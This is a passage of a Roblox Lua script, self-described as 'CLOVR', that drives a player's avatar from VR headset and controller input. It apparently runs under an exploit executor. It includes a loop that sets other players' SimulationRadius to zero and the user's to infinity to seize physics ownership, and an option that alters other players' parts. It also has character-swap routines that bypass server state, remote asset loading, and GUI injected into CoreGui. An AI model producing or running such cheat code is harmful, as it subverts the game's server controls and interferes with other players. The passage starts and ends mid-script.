local VRReady = VRService.VREnabled

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local StarterGui = game:GetService("StarterGui")

local HeadAccessories = {};


local UsedAccessories = {};

local Pointer = false;


local Point1 = false;
local Point2 = false;

local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]


local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

local Anchor = Instance.new("Part")

Anchor.Anchored = true
Anchor.Transparency = 1
Anchor.CanCollide = false
Anchor.Parent = workspace

if RagdollEnabled then
print("RagdollEnabled, thank you for using CLOVR!")
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while true do
game:GetService("RunService").RenderStepped:Wait()
for _,Players in next,
game:GetService("Players"):GetChildren() do
if Players ~=
game:GetService("Players").LocalPlayer then
Players.MaximumSimulationRadius = 0.1
Players.SimulationRadius = 0 end end

game:GetService("Players").LocalPlayer.MaximumSimulationRadius =
math.pow(math.huge,math.huge)

game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge
end end)
coroutine.resume(NetworkAccess)
end

StarterGui:SetCore("VRLaserPointerMode", 3)

--[[
Character Protection
--]]

local CharacterCFrame = WeldBase.CFrame

if not RagdollEnabled then


Character.Humanoid.AnimationPlayed:Connect(function(Animation)
Animation:Stop()
end)

for _, Track in next,


Character.Humanoid:GetPlayingAnimationTracks() do
Track:Stop()
end

if HideCharacter then
local Platform = Instance.new("Part")

Platform.Anchored = true
Platform.Size = Vector3.new(100, 5, 100)
Platform.CFrame = CFrame.new(0, 10000, 0)
Platform.Transparency = 1
Platform.Parent = workspace

Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))

wait(.5)
end

if AnchorCharacter then
for _, Part in pairs(Character:GetChildren()) do
if Part:IsA("BasePart") then
Part.Anchored = true
end
end
end
end

--[[
Functions
--]]

function Tween(Object, Style, Direction, Time, Goal)


local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style],
Enum.EasingDirection[Direction])
local tween = game:GetService("TweenService"):Create(Object,
tweenInfo, Goal)

tween.Completed:Connect(function()
tween:Destroy()
end)

tween:Play()

return tween
end

local function GetMotorForLimb(Limb)


for _, Motor in next, Character:GetDescendants() do
if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
return Motor
end
end
end

local function CreateAlignment(Limb, Part0)


local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
local Attachment1 = Instance.new("Attachment", Limb)

local Orientation = Instance.new("AlignOrientation")


local Position = Instance.new("AlignPosition")

Orientation.Attachment0 = Attachment1
Orientation.Attachment1 = Attachment0
Orientation.RigidityEnabled = false
Orientation.MaxTorque = 20000
Orientation.Responsiveness = 40
Orientation.Parent = Character.HumanoidRootPart

Position.Attachment0 = Attachment1
Position.Attachment1 = Attachment0
Position.RigidityEnabled = false
Position.MaxForce = 40000
Position.Responsiveness = 40
Position.Parent = Character.HumanoidRootPart

Limb.Massless = false

local Motor = GetMotorForLimb(Limb)


if Motor then
Motor:Destroy()
end

return function(CF, Local)


if Local then
Attachment0.CFrame = CF
else
Attachment0.WorldCFrame = CF
end
end;
end

local function GetExtraTool()


for _, Tool in next, Character:GetChildren() do
if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL")
then
return Tool
end
end
end

local function GetGripForHandle(Handle)


for _, Weld in next, Character:GetDescendants() do
if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1
== Handle) then
return Weld
end
end

wait(.2)

for _, Weld in next, Character:GetDescendants() do


if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1
== Handle) then
return Weld
end
end
end

local function CreateRightGrip(Handle)


local RightGrip = Instance.new("Weld")

RightGrip.Name = "RightGrip"
RightGrip.Part1 = Handle
RightGrip.Part0 = WeldBase
RightGrip.Parent = WeldBase

return RightGrip
end

local function CreateAccessory(Accessory, DeleteMeshes)


if not Accessory then
return
end

local HatAttachment =
Accessory.Handle:FindFirstChildWhichIsA("Attachment")
local HeadAttachment =
VirtualRig:FindFirstChild(HatAttachment.Name, true)
local BasePart = HeadAttachment.Parent

local HatAtt = HatAttachment.CFrame


local HeadAtt = HeadAttachment.CFrame

if DeleteMeshes then
if Accessory.Handle:FindFirstChild("Mesh") then
Accessory.Handle.Mesh:Destroy()
end
end

wait()

local Handle = Accessory:WaitForChild("Handle")

if Handle:FindFirstChildWhichIsA("Weld", true) then


Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
Handle:BreakJoints()
else
Handle:BreakJoints()
end

Handle.Massless = true
Handle.Transparency = 0.5

UsedAccessories[Accessory] = true

local RightGrip = CreateRightGrip(Handle)

wait()

for _, Object in pairs(Handle:GetDescendants()) do


if not Object:IsA("BasePart") then
pcall(function()
Object.Transparency = 1
end)

pcall(function()
Object.Enabled = false
end)
end
end

return Handle, RightGrip, HatAtt, HeadAtt, BasePart;


end

local function GetHeadAccessories()


for _, Accessory in next, Character:GetChildren() do
if Accessory:IsA("Accessory") and not
UsedAccessories[Accessory] then
local Handle, RightGrip, HatAtt, HeadAtt, BasePart =
CreateAccessory(Accessory)

table.insert(HeadAccessories, {Handle, RightGrip,


HatAtt, HeadAtt, BasePart})

do
Handle.Transparency = 1
end

if not WearAllAccessories then


break
end
end
end
end

--[[
VR Replication Setup
--]]

if not RagdollEnabled then


LeftHandle, LeftHandGrip =
CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm),
AccessorySettings.BlockArms)
RightHandle, RightHandGrip =
CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm),
AccessorySettings.BlockArms)
LeftHipHandle, LeftLegGrip =
CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg),
AccessorySettings.BlockLegs)
RightHipHandle, RightLegGrip =
CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg),
AccessorySettings.BlockLegs)
TorsoHandle, TorsoGrip =
CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso),
AccessorySettings.BlockTorso)
GetHeadAccessories()

elseif RagdollEnabled then


if RagdollHeadMovement then
Permadeath()
MoveHead = CreateAlignment(Character["Head"])
end

MoveRightArm = CreateAlignment(Character["Right Arm"])


MoveLeftArm = CreateAlignment(Character["Left Arm"])
MoveRightLeg = CreateAlignment(Character["Right Leg"])
MoveLeftLeg = CreateAlignment(Character["Left Leg"])
MoveTorso = CreateAlignment(Character["Torso"])
MoveRoot = CreateAlignment(Character.HumanoidRootPart)

if RagdollHeadMovement then
for _, Accessory in next, Character:GetChildren() do
if Accessory:IsA("Accessory") and
Accessory:FindFirstChild("Handle") then
local Attachment1 =
Accessory.Handle:FindFirstChildWhichIsA("Attachment")
local Attachment0 =
Character:FindFirstChild(tostring(Attachment1), true)

local Orientation =
Instance.new("AlignOrientation")
local Position = Instance.new("AlignPosition")

print(Attachment1, Attachment0, Accessory)

Orientation.Attachment0 = Attachment1
Orientation.Attachment1 = Attachment0
Orientation.RigidityEnabled = false
Orientation.ReactionTorqueEnabled = true
Orientation.MaxTorque = 20000
Orientation.Responsiveness = 40
Orientation.Parent = Character.Head

Position.Attachment0 = Attachment1
Position.Attachment1 = Attachment0
Position.RigidityEnabled = false
Position.ReactionForceEnabled = true
Position.MaxForce = 40000
Position.Responsiveness = 40
Position.Parent = Character.Head
end
end
end
end

--[[
Movement
--]]

VirtualRig.Name = "VirtualRig"
VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
VirtualRig.Parent = workspace
VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

VirtualRig.Humanoid.Health = 0
VirtualRig:BreakJoints()
--

VirtualBody.Parent = workspace
VirtualBody.Name = "VirtualBody"
VirtualBody.Humanoid.WalkSpeed = 8
VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

VirtualBody.Humanoid.Died:Connect(function()
print("Virtual death")
if AutoRespawn then
Character:BreakJoints()

if RagdollHeadMovement and RagdollEnabled then


Network:Unclaim()
Respawn()
end
end
end)
--

Camera.CameraSubject = VirtualBody.Humanoid

Character.Humanoid.WalkSpeed = 0
Character.Humanoid.JumpPower = 1

for _, Part in next, VirtualBody:GetChildren() do


if Part:IsA("BasePart") then
Part.Transparency = 1
end
end

for _, Part in next, VirtualRig:GetChildren() do


if Part:IsA("BasePart") then
Part.Transparency = 1
end
end
if not VRReady then
VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled =
true
VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
end

local OnMoving = RunService.Stepped:Connect(function()


local Direction = Character.Humanoid.MoveDirection
local Start = VirtualBody.HumanoidRootPart.Position
local Point = Start + Direction * 6

VirtualBody.Humanoid:MoveTo(Point)
end)

Character.Humanoid.Jumping:Connect(function()
VirtualBody.Humanoid.Jump = true
end)

UserInputService.JumpRequest:Connect(function()
VirtualBody.Humanoid.Jump = true
end)

--[[
VR Replication
--]]

if RagdollEnabled then
for _, Part in pairs(Character:GetDescendants()) do
if Part:IsA("BasePart") and Part.Name == "Handle" and
Part.Parent:IsA("Accessory") then
Part.LocalTransparencyModifier = 1
elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and
Part.Name ~= "Head" then
Part.LocalTransparencyModifier = 0.5
elseif Part:IsA("BasePart") and Part.Name == "Head" then
Part.LocalTransparencyModifier = 1
end

if not Part:IsA("BasePart") and not


Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then
pcall(function()
Part.Transparency = 1
end)

pcall(function()
Part.Enabled = false
end)
end
end
end

local FootUpdateDebounce = tick()

local function FloorRay(Part, Distance)


local Position = Part.CFrame.p
local Target = Position - Vector3.new(0, Distance, 0)
local Line = Ray.new(Position, (Target - Position).Unit *
Distance)

local FloorPart, FloorPosition, FloorNormal =


workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})

if FloorPart then
return FloorPart, FloorPosition, FloorNormal,
(FloorPosition - Position).Magnitude
else
return nil, Target, Vector3.new(), Distance
end
end

local function Flatten(CF)


local X,Y,Z = CF.X,CF.Y,CF.Z
local LX,LZ = CF.lookVector.X,CF.lookVector.Z

return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)


end

local FootTurn = 1

local function FootReady(Foot, Target)


local MaxDist

if Character.Humanoid.MoveDirection.Magnitude > 0 then


MaxDist = .5
else
MaxDist = 1
end

local PastThreshold = (Foot.Position - Target.Position).Magnitude


> MaxDist
local PastTick = tick() - FootUpdateDebounce >= 2

if PastThreshold or PastTick then


FootUpdateDebounce = tick()
end

return
PastThreshold
or
PastTick
end

local function FootYield()


local RightFooting = VirtualRig.RightFoot.BodyPosition
local LeftFooting = VirtualRig.LeftFoot.BodyPosition
local LowerTorso = VirtualRig.LowerTorso

local Yield = tick()

repeat
RunService.Stepped:Wait()
if
(LowerTorso.Position - RightFooting.Position).Y > 4
or
(LowerTorso.Position - LeftFooting.Position).Y
> 4
or
((LowerTorso.Position - RightFooting.Position)
* Vector3.new(1, 0, 1)).Magnitude > 4
or
((LowerTorso.Position - LeftFooting.Position) *
Vector3.new(1, 0, 1)).Magnitude > 4
then
break
end
until tick() - Yield >= .17
end

local function UpdateFooting()


if not VirtualRig:FindFirstChild("LowerTorso") then
wait()
return
end

local Floor, FloorPosition, FloorNormal, Dist =


FloorRay(VirtualRig.LowerTorso, 3)

Dist = math.clamp(Dist, 0, 5)

local FootTarget =
VirtualRig.LowerTorso.CFrame *
CFrame.new(FootPlacementSettings.RightOffset) -
Vector3.new(0, Dist, 0) +
Character.Humanoid.MoveDirection *
(VirtualBody.Humanoid.WalkSpeed / 8) * 2

if FootReady(VirtualRig.RightFoot, FootTarget) then


VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
VirtualRig.RightFoot.BodyGyro.CFrame =
Flatten(VirtualRig.LowerTorso.CFrame)
end

FootYield()

local FootTarget =
VirtualRig.LowerTorso.CFrame *
CFrame.new(FootPlacementSettings.LeftOffset) -
Vector3.new(0, Dist, 0) +
Character.Humanoid.MoveDirection *
(VirtualBody.Humanoid.WalkSpeed / 8) * 2

if FootReady(VirtualRig.LeftFoot, FootTarget) then


VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
VirtualRig.LeftFoot.BodyGyro.CFrame =
Flatten(VirtualRig.LowerTorso.CFrame)
end
end

local function UpdateTorsoPosition()


if not RagdollEnabled then
if TorsoHandle then
local Positioning = VirtualRig.UpperTorso.CFrame

if not TorsoGrip or not TorsoGrip.Parent then


TorsoGrip = CreateRightGrip(TorsoHandle)
end

local Parent = TorsoGrip.Parent

TorsoGrip.C1 = CFrame.new()
TorsoGrip.C0 =
TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25,
0) * AccessorySettings.LimbOffset), Smoothness)
TorsoGrip.Parent = nil
TorsoGrip.Parent = Parent
end
else
local Positioning = VirtualRig.UpperTorso.CFrame

MoveTorso(Positioning * CFrame.new(0, -0.25, 0))


MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
end
end

local function UpdateLegPosition()


if not RagdollEnabled then
if RightHipHandle then
local Positioning =
VirtualRig.RightLowerLeg.CFrame
: Lerp(VirtualRig.RightFoot.CFrame, 0.5)
+ Vector3.new(0, 0.5, 0)

if not RightHipHandle or not RightHipHandle.Parent


then
RightLegGrip = CreateRightGrip(RightHipHandle)
end

local Parent = RightLegGrip.Parent

RightLegGrip.C1 = CFrame.new()
RightLegGrip.C0 =
RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning *
AccessorySettings.LimbOffset), Smoothness)
RightLegGrip.Parent = nil
RightLegGrip.Parent = Parent
end

if LeftHipHandle then
local Positioning =
VirtualRig.LeftLowerLeg.CFrame
: Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
+ Vector3.new(0, 0.5, 0)

if not LeftLegGrip or not LeftLegGrip.Parent then


LeftLegGrip = CreateRightGrip(LeftHipHandle)
end

local Parent = LeftLegGrip.Parent

LeftLegGrip.C1 = CFrame.new()
LeftLegGrip.C0 =
LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning *
AccessorySettings.LimbOffset), Smoothness)
LeftLegGrip.Parent = nil
LeftLegGrip.Parent = Parent
end
else
do
local Positioning =
VirtualRig.RightLowerLeg.CFrame
: Lerp(VirtualRig.RightFoot.CFrame, 0.5)
* CFrame.Angles(0, math.rad(180), 0)
+ Vector3.new(0, 0.5, 0)

MoveRightLeg(Positioning)
end

do
local Positioning =
VirtualRig.LeftLowerLeg.CFrame
: Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
* CFrame.Angles(0, math.rad(180), 0)
+ Vector3.new(0, 0.5, 0)

MoveLeftLeg(Positioning)
end
end
end

warn("VRReady is", VRReady)

local function OnUserCFrameChanged(UserCFrame, Positioning,


IgnoreTorso)
local Positioning = Camera.CFrame * Positioning

if not IgnoreTorso then


UpdateTorsoPosition()
UpdateLegPosition()
end

if not RagdollEnabled then


if UserCFrame == Enum.UserCFrame.Head and
AccessorySettings.Head then
for _, Table in next, HeadAccessories do
local Handle, RightGrip, HatAtt, HeadAtt,
BasePart = unpack(Table)
local LocalPositioning = Positioning

if not RightGrip or not RightGrip.Parent then


RightGrip = CreateRightGrip(Handle)
Table[2] = RightGrip
end

local Parent = RightGrip.Parent

if BasePart then
LocalPositioning = BasePart.CFrame *
HeadAtt
end

RightGrip.C1 = HatAtt
RightGrip.C0 =
RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
RightGrip.Parent = nil
RightGrip.Parent = Parent
end

elseif RightHandle and UserCFrame ==


Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
local HandPosition = Positioning
local LocalPositioning = Positioning

if not RightHandGrip or not RightHandGrip.Parent then


RightHandGrip = CreateRightGrip(RightHandle)
end

if AccurateHandPosition then
HandPosition = HandPosition * CFrame.new(0, 0,
1)
end

if not VRReady then


local HeadRotation = Camera.CFrame -
Camera.CFrame.p

HandPosition =
VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) *
AccessorySettings.LimbOffset

--LocalPositioning = (HeadRotation +
(HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
LocalPositioning = HandPosition * CFrame.new(0,
0, 1) * CFrame.Angles(math.rad(-180), 0, 0)

if Point2 then
VirtualRig.RightUpperArm.Aim.MaxTorque =
Vector3.new(math.huge, math.huge, math.huge)
VirtualRig.RightUpperArm.Aim.CFrame =
Camera.CFrame * AccessorySettings.LimbOffset
elseif VirtualRig.RightUpperArm.Aim.MaxTorque
~= Vector3.new(0, 0, 0) then
VirtualRig.RightUpperArm.Aim.MaxTorque =
Vector3.new(0, 0, 0)
end
elseif AccurateHandPosition then
LocalPositioning = HandPosition
end

local Parent = RightHandGrip.Parent

RightHandGrip.C1 = CFrame.new()
RightHandGrip.C0 =
RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
RightHandGrip.Parent = nil
RightHandGrip.Parent = Parent

--

local EquippedTool = GetExtraTool()

if EquippedTool and
EquippedTool:FindFirstChild("Handle") then
local EquippedGrip =
GetGripForHandle(EquippedTool.Handle)
local Parent = EquippedGrip.Parent

local ArmBaseCFrame = ArmBase.CFrame


if ArmBase.Name == "Right Arm" then
ArmBaseCFrame = ArmBaseCFrame
end

EquippedGrip.C1 = EquippedTool.Grip
EquippedGrip.C0 =
EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
EquippedGrip.Parent = nil
EquippedGrip.Parent = Parent
end

elseif LeftHandle and UserCFrame ==


Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
local HandPosition = Positioning

if not LeftHandGrip or not LeftHandGrip.Parent then


LeftHandGrip = CreateRightGrip(LeftHandle)
end

if AccurateHandPosition then
HandPosition = HandPosition * CFrame.new(0, 0,
1)
end

if not VRReady then


HandPosition =
VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) *
AccessorySettings.LimbOffset
--warn("Setting HandPosition to hands")
if Point1 then
VirtualRig.LeftUpperArm.Aim.MaxTorque =
Vector3.new(math.huge, math.huge, math.huge)
VirtualRig.LeftUpperArm.Aim.CFrame =
Camera.CFrame * AccessorySettings.LimbOffset
elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~=
Vector3.new(0, 0, 0) then
VirtualRig.LeftUpperArm.Aim.MaxTorque =
Vector3.new(0, 0, 0)
end
end

local Parent = LeftHandGrip.Parent

LeftHandGrip.C1 = CFrame.new()
LeftHandGrip.C0 =
LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
LeftHandGrip.Parent = nil
LeftHandGrip.Parent = Parent

end
end

if RagdollEnabled then
if UserCFrame == Enum.UserCFrame.Head and
RagdollHeadMovement then
MoveHead(Positioning)
elseif UserCFrame == Enum.UserCFrame.RightHand then
local Positioning = Positioning

if not VRReady then


Positioning =
VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
elseif AccurateHandPosition then
Positioning = Positioning * CFrame.new(0, 0, 1)
end

if VRReady then
Positioning = Positioning *
AccessorySettings.LimbOffset
end

MoveRightArm(Positioning)

if Point2 then
VirtualRig.RightUpperArm.Aim.MaxTorque =
Vector3.new(math.huge, math.huge, math.huge)
VirtualRig.RightUpperArm.Aim.CFrame =
Camera.CFrame * AccessorySettings.LimbOffset
elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~=
Vector3.new(0, 0, 0) then
VirtualRig.RightUpperArm.Aim.MaxTorque =
Vector3.new(0, 0, 0)
end
elseif UserCFrame == Enum.UserCFrame.LeftHand then
local Positioning = Positioning

if not VRReady then


Positioning =
VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
elseif AccurateHandPosition then
Positioning = Positioning * CFrame.new(0, 0, 1)
end

if VRReady then
Positioning = Positioning *
AccessorySettings.LimbOffset
end

MoveLeftArm(Positioning)

if Point1 then
VirtualRig.LeftUpperArm.Aim.MaxTorque =
Vector3.new(math.huge, math.huge, math.huge)
VirtualRig.LeftUpperArm.Aim.CFrame =
Camera.CFrame * AccessorySettings.LimbOffset
elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~=
Vector3.new(0, 0, 0) then
VirtualRig.LeftUpperArm.Aim.MaxTorque =
Vector3.new(0, 0, 0)
end
end
end
if UserCFrame == Enum.UserCFrame.Head then
VirtualRig.Head.CFrame = Positioning

elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then


VirtualRig.RightHand.CFrame = Positioning

elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then


VirtualRig.LeftHand.CFrame = Positioning

end

if not VRReady and VirtualRig.LeftHand.Anchored then


VirtualRig.RightHand.Anchored = false
VirtualRig.LeftHand.Anchored = false
elseif VRReady and not VirtualRig.LeftHand.Anchored then
VirtualRig.RightHand.Anchored = true
VirtualRig.LeftHand.Anchored = true
end
end

local CFrameChanged =
VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

local OnStepped = RunService.Stepped:Connect(function()


for _, Part in pairs(VirtualRig:GetChildren()) do
if Part:IsA("BasePart") then
Part.CanCollide = false
end
end

if RagdollEnabled then
for _, Part in pairs(Character:GetChildren()) do
if Part:IsA("BasePart") then
Part.CanCollide = false
end
end
end

if NoCollision then
for _, Player in pairs(Players:GetPlayers()) do
if Player ~= Client and Player.Character then
local Descendants =
Player.Character:GetDescendants()
for i = 1, #Descendants do
local Part = Descendants[i]
if Part:IsA("BasePart") then
Part.CanCollide = false
Part.Velocity = Vector3.new()
Part.RotVelocity = Vector3.new()
end
end
end
end
end
end)

local OnRenderStepped = RunService.Stepped:Connect(function()


Camera.CameraSubject = VirtualBody.Humanoid
if RagdollEnabled then
Character.HumanoidRootPart.CFrame =
VirtualRig.UpperTorso.CFrame
Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
end

if not VRReady then


OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0,
0))

OnUserCFrameChanged(Enum.UserCFrame.RightHand,
CFrame.new(0, 0, 0), true)
OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0,
0, 0), true)
end
end)

spawn(function()
while Character and Character.Parent do
FootYield()
UpdateFooting()
end
end)

--[[
Non-VR Support + VR Mechanics
--]]

local OnInput = UserInputService.InputBegan:Connect(function(Input,


Processed)
if not Processed then
if Input.KeyCode == Enum.KeyCode.LeftControl or
Input.KeyCode == Enum.KeyCode.ButtonL2 then
Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
CameraOffset = Vector3.new(0, StudsOffset -
1.5, 0)
})
end

if Input.KeyCode == Enum.KeyCode.X then


if RagdollEnabled and RagdollHeadMovement then
Network:Unclaim()
Respawn()
end
end

if Input.KeyCode == Enum.KeyCode.C then


VirtualBody:MoveTo(Mouse.Hit.p)
VirtualRig:MoveTo(Mouse.Hit.p)
end
end

if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode ==


Enum.KeyCode.ButtonR2 then
Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
WalkSpeed = 16
})
end
if not VRReady and Input.UserInputType ==
Enum.UserInputType.MouseButton1 then
Point1 = true
end

if not VRReady and Input.UserInputType ==


Enum.UserInputType.MouseButton2 then
Point2 = true
end

if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then


Character:BreakJoints()

if RagdollEnabled and RagdollHeadMovement then


Network:Unclaim()
Respawn()
end
end
end)

local OnInputEnded =
UserInputService.InputEnded:Connect(function(Input, Processed)
if not Processed then
if Input.KeyCode == Enum.KeyCode.LeftControl or
Input.KeyCode == Enum.KeyCode.ButtonL2 then
Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
CameraOffset = Vector3.new(0, StudsOffset, 0)
})
end
end

if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode ==


Enum.KeyCode.ButtonR2 then
Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
WalkSpeed = 8
})
end

if not VRReady and Input.UserInputType ==


Enum.UserInputType.MouseButton1 then
Point1 = false
end

if not VRReady and Input.UserInputType ==


Enum.UserInputType.MouseButton2 then
Point2 = false
end
end)

--[[
Proper Cleanup
--]]

local OnReset

OnReset = Client.CharacterAdded:Connect(function()
OnReset:Disconnect();
CFrameChanged:Disconnect();
OnStepped:Disconnect();
OnRenderStepped:Disconnect();
OnMoving:Disconnect();
OnInput:Disconnect();
OnInputEnded:Disconnect();

VirtualRig:Destroy();
VirtualBody:Destroy();

if RagdollEnabled then
Network:Unclaim();
end

if AutoRun then
delay(2, function()
Script()
end)
end
end)

if ChatEnabled then
spawn(ChatHUDFunc)
end

if ViewportEnabled then
spawn(ViewHUDFunc)
end

do
--[[
Functions
--]]

local Players = game:GetService("Players")


local Client = Players.LocalPlayer

local VRService = game:GetService("VRService")


local VRReady = VRService.VREnabled

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local Camera = workspace.CurrentCamera

--[[
Code
--]]

if VRReady then
local Pointer = game:GetObjects("rbxassetid://4476173280")
[1]

Pointer.Parent = workspace
Pointer.Beam.Enabled = false
Pointer.Target.ParticleEmitter.Enabled = false

local RenderStepped =
RunService.RenderStepped:Connect(function()
if Pointer.Beam.Enabled then
local RightHand = Camera.CFrame *
VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
local Target = RightHand * CFrame.new(0, 0,
-10)

local Line = Ray.new(RightHand.p, (Target.p -


RightHand.p).Unit * 128)
local Part, Position =
workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character,
Pointer})

local Distance = (Position -


RightHand.p).Magnitude

Pointer.Target.Position = Vector3.new(0, 0,
-Distance)
Pointer.CFrame = RightHand
end
end)

local Input =
UserInputService.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.ButtonB then
Pointer.Beam.Enabled = not Pointer.Beam.Enabled
Pointer.Target.ParticleEmitter.Enabled = not
Pointer.Target.ParticleEmitter.Enabled
end
end)

--

local CharacterAdded

CharacterAdded = Client.CharacterAdded:Connect(function()
RenderStepped:Disconnect()
Input:Disconnect()
CharacterAdded:Disconnect()

Pointer:Destroy()
Pointer = nil
end)
else
return
end
end

end;

Permadeath = function()
local ch = game.Players.LocalPlayer.Character
local prt=Instance.new("Model", workspace)
local z1 = Instance.new("Part", prt)
z1.Name="Torso"
z1.CanCollide = false
z1.Anchored = true
local z2 =Instance.new("Part", prt)
z2.Name="Head"
z2.Anchored = true
z2.CanCollide = false
local z3 =Instance.new("Humanoid", prt)
z3.Name="Humanoid"
z1.Position = Vector3.new(0,9999,0)
z2.Position = Vector3.new(0,9991,0)
game.Players.LocalPlayer.Character=prt
wait(5)
warn("50%")
game.Players.LocalPlayer.Character=ch
wait(6)
warn("100%")
end;

Respawn = function()
local ch = game.Players.LocalPlayer.Character

local prt=Instance.new("Model", workspace)


local z1 = Instance.new("Part", prt)
z1.Name="Torso"
z1.CanCollide = false
z1.Anchored = true
local z2 =Instance.new("Part", prt)
z2.Name="Head"
z2.Anchored = true
z2.CanCollide = false
local z3 =Instance.new("Humanoid", prt)
z3.Name="Humanoid"
z1.Position = Vector3.new(0,9999,0)
z2.Position = Vector3.new(0,9991,0)
game.Players.LocalPlayer.Character=prt
wait(5)
game.Players.LocalPlayer.Character=ch
end;

ChatHUDFunc = function()
--[[
Variables
--]]

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local VRService = game:GetService("VRService")


local VRReady = VRService.VREnabled

local Players = game:GetService("Players")


local Client = Players.LocalPlayer

local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]


local GlobalFrame = ChatHUD.GlobalFrame
local Template = GlobalFrame.Template
local LocalFrame = ChatHUD.LocalFrame
local Global = ChatHUD.Global
local Local = ChatHUD.Local

local Camera = workspace.CurrentCamera

Template.Parent = nil
ChatHUD.Parent = game:GetService("CoreGui")

--[[
Code
--]]

local Highlight = Global.Frame.BackgroundColor3


local Deselected = Local.Frame.BackgroundColor3

local OpenGlobalTab = function()


Global.Frame.BackgroundColor3 = Highlight
Local.Frame.BackgroundColor3 = Deselected

Global.Font = Enum.Font.SourceSansBold
Local.Font = Enum.Font.SourceSans

GlobalFrame.Visible = true
LocalFrame.Visible = false
end

local OpenLocalTab = function()


Global.Frame.BackgroundColor3 = Deselected
Local.Frame.BackgroundColor3 = Highlight

Global.Font = Enum.Font.SourceSans
Local.Font = Enum.Font.SourceSansBold

GlobalFrame.Visible = false
LocalFrame.Visible = true
end

Global.MouseButton1Down:Connect(OpenGlobalTab)
Local.MouseButton1Down:Connect(OpenLocalTab)
Global.MouseButton1Click:Connect(OpenGlobalTab)
Local.MouseButton1Click:Connect(OpenLocalTab)

OpenLocalTab()

--

local function GetPlayerDistance(Sender)


if Sender.Character and Sender.Character:FindFirstChild("Head")
then
return math.floor((Sender.Character.Head.Position -
Camera:GetRenderCFrame().p).Magnitude + 0.5)
end
end

local function NewGlobal(Message, Sender, Color)


local Frame = Template:Clone()

Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)


Frame.User.Text = ("[%s]:"):format(Sender.Name)
Frame.User.TextColor3 = Color
Frame.BackgroundColor3 = Color
Frame.Parent = GlobalFrame

delay(60, function()
Frame:Destroy()
end)
end
local function NewLocal(Message, Sender, Color, Dist)
local Frame = Template:Clone()

